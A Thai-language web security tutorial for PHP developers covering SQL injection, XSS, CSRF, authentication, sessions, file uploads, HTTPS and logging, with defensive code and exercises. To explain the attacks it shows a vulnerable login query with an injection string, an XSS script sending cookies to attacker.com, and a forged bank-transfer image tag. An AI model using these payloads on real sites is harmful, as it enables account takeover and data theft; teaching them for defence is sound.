บทเรียนการสร้างเว็บไซต์พื้นฐาน

การรักษาความปลอดภัยเว็บไซต์ - Web Security Best Practices

บทเรียนนี้จะสอนเกี่ยวกับ การรักษาความปลอดภัยเว็บไซต์ ซึ่งเป็นสิ่งสำคัญที่สุดในการพัฒนาเว็บแอปพลิเคชัน การเข้าใจและป้องกันช่องโหว่ด้านความปลอดภัยจะช่วยปกป้องข้อมูลของผู้ใช้และระบบของคุณ

6.1 ภัยคุกคามทั่วไป (Common Security Threats)

OWASP Top 10

OWASP (Open Web Application Security Project) จัดอันดับช่องโหว่ด้านความปลอดภัยที่พบบ่อยที่สุด:

อันดับ ภัยคุกคาม คำอธิบาย
1 Broken Access Control การควบคุมการเข้าถึงที่ไม่เหมาะสม
2 Cryptographic Failures การเข้ารหัสที่ไม่ปลอดภัย
3 Injection SQL Injection, XSS, Command Injection
4 Insecure Design การออกแบบที่ไม่ปลอดภัย
5 Security Misconfiguration การตั้งค่าที่ไม่ปลอดภัย

6.2 SQL Injection - การโจมตีฐานข้อมูล

SQL Injection คืออะไร?

เป็นการโจมตีที่ผู้ไม่หวังดีแทรกโค้ด SQL เข้าไปในช่องกรอกข้อมูล เพื่อเข้าถึงหรือทำลายข้อมูลในฐานข้อมูล

ตัวอย่างการโจมตี

// โค้ดที่มีช่องโหว่ (อันตราย!)
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $pdo->query($sql);

ผู้โจมตีสามารถใส่:

username: admin' OR '1'='1
password: anything

SQL ที่ได้:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'

ผลลัพธ์: เข้าสู่ระบบได้โดยไม่ต้องรู้รหัสผ่าน!

วิธีป้องกัน

1. ใช้ Prepared Statements (PDO)

// ✅ ปลอดภัย
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([
    'username' => $_POST['username'],
    'password' => $_POST['password']
]);
$user = $stmt->fetch();

2. ใช้ ORM (Object-Relational Mapping)

// ตัวอย่างการใช้ ORM (เช่น Eloquent, Doctrine)
$user = User::where('username', $username)->first();

3. Validate และ Sanitize Input

// ตรวจสอบรูปแบบข้อมูล
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (!$email) {
    die("Invalid email format");
}

// จำกัดความยาว
$username = substr($_POST['username'], 0, 50);

// ใช้ whitelist สำหรับค่าที่กำหนดไว้
$allowed_sort = ['name', 'date', 'price'];
$sort = in_array($_POST['sort'], $allowed_sort) ? $_POST['sort'] : 'name';

6.3 XSS (Cross-Site Scripting)

XSS คืออะไร?

เป็นการโจมตีที่ผู้ไม่หวังดีแทรกโค้ด JavaScript เข้าไปในเว็บไซต์ เพื่อขโมยข้อมูล Cookie, Session หรือเปลี่ยนแปลงเนื้อหาหน้าเว็บ

ตัวอย่างการโจมตี

// โค้ดที่มีช่องโหว่
$comment = $_POST['comment'];
echo "<div>$comment</div>";

ผู้โจมตีสามารถใส่:

<script>
    // ขโมย Cookie
    document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

วิธีป้องกัน

1. ใช้ htmlspecialchars()

// ✅ ปลอดภัย
$comment = $_POST['comment'];
echo "<div>" . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . "</div>";

2. Content Security Policy (CSP)

// ตั้งค่า CSP Header
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com");

3. ใช้ Template Engine ที่มี Auto-Escaping

// Twig, Blade, หรือ template engine อื่นๆ จะ escape อัตโนมัติ
{{ user_input }}  // Auto-escaped
{!! user_input !!}  // Raw output (ระวัง!)

6.4 CSRF (Cross-Site Request Forgery)

CSRF คืออะไร?

เป็นการโจมตีที่หลอกให้ผู้ใช้ที่ล็อกอินอยู่ส่งคำขอที่ไม่ได้ตั้งใจ เช่น โอนเงิน, เปลี่ยนรหัสผ่าน

ตัวอย่างการโจมตี

<!-- เว็บไซต์ของผู้โจมตี -->
<img src="https://yourbank.com/transfer?to=attacker&amount=10000" />

เมื่อผู้ใช้ที่ล็อกอินอยู่เปิดหน้านี้ คำขอจะถูกส่งไปพร้อม Cookie ของผู้ใช้

วิธีป้องกัน

1. ใช้ CSRF Token

// สร้าง Token
session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// ใส่ใน Form
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';

// ตรวจสอบ Token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF token validation failed");
}
// ตั้งค่า Cookie ให้ส่งเฉพาะ same-site requests
setcookie('session_id', $session_id, [
    'samesite' => 'Strict',
    'secure' => true,
    'httponly' => true
]);

3. ตรวจสอบ Referer Header

$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (strpos($referer, 'https://yoursite.com') !== 0) {
    die("Invalid referer");
}

6.5 การจัดการ Authentication และ Authorization

Authentication (การยืนยันตัวตน)

1. Password Hashing

// ✅ ถูกต้อง - ใช้ password_hash()
$hashed = password_hash($_POST['password'], PASSWORD_DEFAULT);

// ❌ ผิด - ไม่ควรใช้ MD5 หรือ SHA1
$hashed = md5($_POST['password']); // อันตราย!

2. Password Requirements

function validatePassword($password) {
    // อย่างน้อย 8 ตัวอักษร, มีตัวพิมพ์ใหญ่, ตัวพิมพ์เล็ก, ตัวเลข
    if (strlen($password) < 8) {
        return "รหัสผ่านต้องมีอย่างน้อย 8 ตัวอักษร";
    }
    if (!preg_match('/[A-Z]/', $password)) {
        return "รหัสผ่านต้องมีตัวพิมพ์ใหญ่";
    }
    if (!preg_match('/[a-z]/', $password)) {
        return "รหัสผ่านต้องมีตัวพิมพ์เล็ก";
    }
    if (!preg_match('/[0-9]/', $password)) {
        return "รหัสผ่านต้องมีตัวเลข";
    }
    return true;
}

3. Rate Limiting (จำกัดจำนวนครั้งการพยายาม)

session_start();

// จำกัดการ login
if (!isset($_SESSION['login_attempts'])) {
    $_SESSION['login_attempts'] = 0;
    $_SESSION['last_attempt'] = time();
}

if ($_SESSION['login_attempts'] >= 5) {
    $time_passed = time() - $_SESSION['last_attempt'];
    if ($time_passed < 900) { // 15 นาที
        die("คุณพยายาม login มากเกินไป กรุณารอ " . (900 - $time_passed) . " วินาที");
    } else {
        $_SESSION['login_attempts'] = 0;
    }
}

// ถ้า login ไม่สำเร็จ
$_SESSION['login_attempts']++;
$_SESSION['last_attempt'] = time();

Authorization (การควบคุมสิทธิ์)

1. Role-Based Access Control (RBAC)

// ตรวจสอบสิทธิ์
function checkPermission($required_role) {
    session_start();

    if (!isset($_SESSION['user_role'])) {
        header('Location: /login.php');
        exit();
    }

    $roles = ['guest' => 0, 'user' => 1, 'admin' => 2];

    if ($roles[$_SESSION['user_role']] < $roles[$required_role]) {
        http_response_code(403);
        die("คุณไม่มีสิทธิ์เข้าถึงหน้านี้");
    }
}

// ใช้งาน
checkPermission('admin');

2. Object-Level Authorization

// ตรวจสอบว่าผู้ใช้เป็นเจ้าของข้อมูลหรือไม่
$post_id = $_GET['id'];
$stmt = $pdo->prepare("SELECT user_id FROM posts WHERE id = :id");
$stmt->execute(['id' => $post_id]);
$post = $stmt->fetch();

if ($post['user_id'] !== $_SESSION['user_id']) {
    http_response_code(403);
    die("คุณไม่มีสิทธิ์แก้ไขโพสต์นี้");
}

Session Security

// ตั้งค่า Session ที่ปลอดภัย
ini_set('session.cookie_httponly', 1);  // ป้องกัน JavaScript เข้าถึง
ini_set('session.cookie_secure', 1);    // ส่งผ่าน HTTPS เท่านั้น
ini_set('session.cookie_samesite', 'Strict');  // ป้องกัน CSRF
ini_set('session.use_strict_mode', 1);  // ป้องกัน Session Fixation

session_start();

// Regenerate Session ID หลัง Login
if (isset($_POST['login'])) {
    // ... ตรวจสอบ username/password ...
    session_regenerate_id(true);
    $_SESSION['user_id'] = $user['id'];
}

// ตั้งค่า Session Timeout
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > 1800)) {
    session_unset();
    session_destroy();
    header('Location: /login.php?timeout=1');
    exit();
}
$_SESSION['last_activity'] = time();
// ตั้งค่า Cookie ที่ปลอดภัย
setcookie('user_pref', $value, [
    'expires' => time() + 86400,
    'path' => '/',
    'domain' => 'yoursite.com',
    'secure' => true,      // HTTPS only
    'httponly' => true,    // ป้องกัน XSS
    'samesite' => 'Strict' // ป้องกัน CSRF
]);

6.7 File Upload Security

ช่องโหว่จาก File Upload

ผู้โจมตีสามารถอัปโหลดไฟล์ที่เป็นอันตราย เช่น PHP Shell, Malware

วิธีป้องกัน

// ตรวจสอบการอัปโหลดไฟล์
if (isset($_FILES['upload'])) {
    $file = $_FILES['upload'];

    // 1. ตรวจสอบ Error
    if ($file['error'] !== UPLOAD_ERR_OK) {
        die("Upload failed");
    }

    // 2. ตรวจสอบขนาดไฟล์
    $max_size = 5 * 1024 * 1024; // 5MB
    if ($file['size'] > $max_size) {
        die("File too large");
    }

    // 3. ตรวจสอบ MIME Type
    $allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);

    if (!in_array($mime, $allowed_types)) {
        die("Invalid file type");
    }

    // 4. ตรวจสอบ Extension
    $allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($ext, $allowed_ext)) {
        die("Invalid file extension");
    }

    // 5. สร้างชื่อไฟล์ใหม่ (ไม่ใช้ชื่อเดิม)
    $new_name = bin2hex(random_bytes(16)) . '.' . $ext;

    // 6. เก็บไฟล์นอก Document Root หรือใช้ .htaccess ป้องกัน
    $upload_dir = '/var/www/uploads/'; // นอก public_html
    $destination = $upload_dir . $new_name;

    // 7. ย้ายไฟล์
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        // บันทึกข้อมูลลงฐานข้อมูล
        $stmt = $pdo->prepare("INSERT INTO files (filename, original_name, user_id) VALUES (:filename, :original, :user_id)");
        $stmt->execute([
            'filename' => $new_name,
            'original' => $file['name'],
            'user_id' => $_SESSION['user_id']
        ]);

        echo "Upload successful";
    }
}

.htaccess สำหรับป้องกันการรันไฟล์

# ไฟล์ .htaccess ในโฟลเดอร์ uploads
<FilesMatch "\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh|cgi)$">
    Order Allow,Deny
    Deny from all
</FilesMatch>

6.8 HTTPS และ SSL/TLS

ทำไมต้องใช้ HTTPS?

  • เข้ารหัสข้อมูลระหว่างการส่ง
  • ป้องกัน Man-in-the-Middle Attack
  • เพิ่มความน่าเชื่อถือ
  • SEO ดีขึ้น (Google ให้ความสำคัญ)

การบังคับใช้ HTTPS

// บังคับ HTTPS
if (empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] === 'off') {
    $redirect = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    header('Location: ' . $redirect, true, 301);
    exit();
}

Security Headers

// ตั้งค่า Security Headers
header('X-Frame-Options: DENY');  // ป้องกัน Clickjacking
header('X-Content-Type-Options: nosniff');  // ป้องกัน MIME Sniffing
header('X-XSS-Protection: 1; mode=block');  // เปิด XSS Protection
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');  // บังคับ HTTPS
header('Content-Security-Policy: default-src \'self\'');  // CSP
header('Referrer-Policy: strict-origin-when-cross-origin');

6.9 Error Handling และ Logging

ไม่ควรแสดง Error ในโปรเจกต์จริง

// ❌ อันตราย - แสดงข้อมูลระบบ
ini_set('display_errors', 1);
error_reporting(E_ALL);

// ✅ ปลอดภัย - ซ่อน Error และ Log ไว้
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php_errors.log');
error_reporting(E_ALL);

// แสดงข้อความทั่วไปแทน
try {
    // โค้ดที่อาจเกิด error
} catch (Exception $e) {
    error_log($e->getMessage());  // Log error
    die("เกิดข้อผิดพลาด กรุณาลองใหม่อีกครั้ง");  // แสดงข้อความทั่วไป
}

Security Logging

// Log เหตุการณ์ด้านความปลอดภัย
function securityLog($event, $details = []) {
    $log_entry = [
        'timestamp' => date('Y-m-d H:i:s'),
        'ip' => $_SERVER['REMOTE_ADDR'],
        'user_agent' => $_SERVER['HTTP_USER_AGENT'],
        'event' => $event,
        'details' => $details
    ];

    error_log(json_encode($log_entry), 3, '/var/log/security.log');
}

// ใช้งาน
securityLog('failed_login', ['username' => $_POST['username']]);
securityLog('suspicious_activity', ['reason' => 'Multiple failed attempts']);

6.10 Checklist ความปลอดภัย

ก่อน Deploy

  • [ ] ใช้ HTTPS ทั้งเว็บไซต์
  • [ ] ใช้ Prepared Statements สำหรับ Database queries
  • [ ] Escape output ด้วย htmlspecialchars()
  • [ ] ใช้ CSRF tokens ในทุก form
  • [ ] เข้ารหัสรหัสผ่านด้วย password_hash()
  • [ ] ตั้งค่า Session และ Cookie ให้ปลอดภัย
  • [ ] ตรวจสอบและ validate input ทั้งหมด
  • [ ] จำกัดขนาดและชนิดของไฟล์ที่อัปโหลด
  • [ ] ตั้งค่า Security Headers
  • [ ] ปิด display_errors ในโปรเจกต์จริง
  • [ ] ใช้ Environment Variables สำหรับข้อมูลลับ
  • [ ] อัปเดต PHP และ dependencies ให้เป็นเวอร์ชันล่าสุด
  • [ ] สำรองข้อมูลอย่างสม่ำเสมอ
  • [ ] ทดสอบความปลอดภัยด้วย Security Scanner

แบบฝึกหัดท้ายบท

  1. สร้างระบบ Login ที่มีการป้องกัน SQL Injection ด้วย PDO Prepared Statements
  2. เพิ่ม CSRF Token ในฟอร์มและตรวจสอบเมื่อส่งข้อมูล
  3. สร้างระบบแสดงความคิดเห็นที่ป้องกัน XSS
  4. เขียนฟังก์ชัน Rate Limiting สำหรับป้องกัน Brute Force Attack
  5. สร้างระบบอัปโหลดรูปภาพที่ปลอดภัย พร้อมตรวจสอบ MIME Type และ Extension
  6. ตั้งค่า Security Headers ในเว็บไซต์ของคุณ
  7. สร้างระบบ Logging สำหรับบันทึกเหตุการณ์ด้านความปลอดภัย

การรักษาความปลอดภัยเป็นกระบวนการต่อเนื่อง ต้องอัปเดตและปรับปรุงอยู่เสมอ